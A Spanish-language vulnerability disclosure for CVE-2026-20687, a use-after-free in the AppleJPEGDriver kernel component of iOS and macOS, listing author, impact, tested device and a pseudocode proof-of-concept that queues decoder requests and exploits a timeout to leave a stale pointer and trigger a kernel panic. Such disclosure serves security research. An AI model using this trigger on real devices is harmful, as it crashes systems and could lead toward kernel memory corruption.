
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Autor: Johnny Franks (@0xjohnny)
Componente: Kernel
Impacto: Una app podría provocar la finalización inesperada del sistema o escribir en la memoria del kernel
Descripción: Se solucionó un problema de uso después de liberar (use after free) mediante una mejor gestión de memoria.
Esto provocará un kernel panic en tu dispositivo. Guarda tu trabajo.
Probado en iOS 26.3 (23D125) en iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Disparador directo:
// PoC: prepara el driver; el panic suele diferirse hasta que se abre Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Más tarde, abrir Camera dispara:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NO elimina de la cola (req + 0x78)
// Aún más tarde (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req liberada + 0x78)
req2 = *(node_ptr + 0x8); // lectura UAF de req+0x80 -> fallo de etiqueta MTE -> panic
ios-app/Test.xcodeproj en Xcode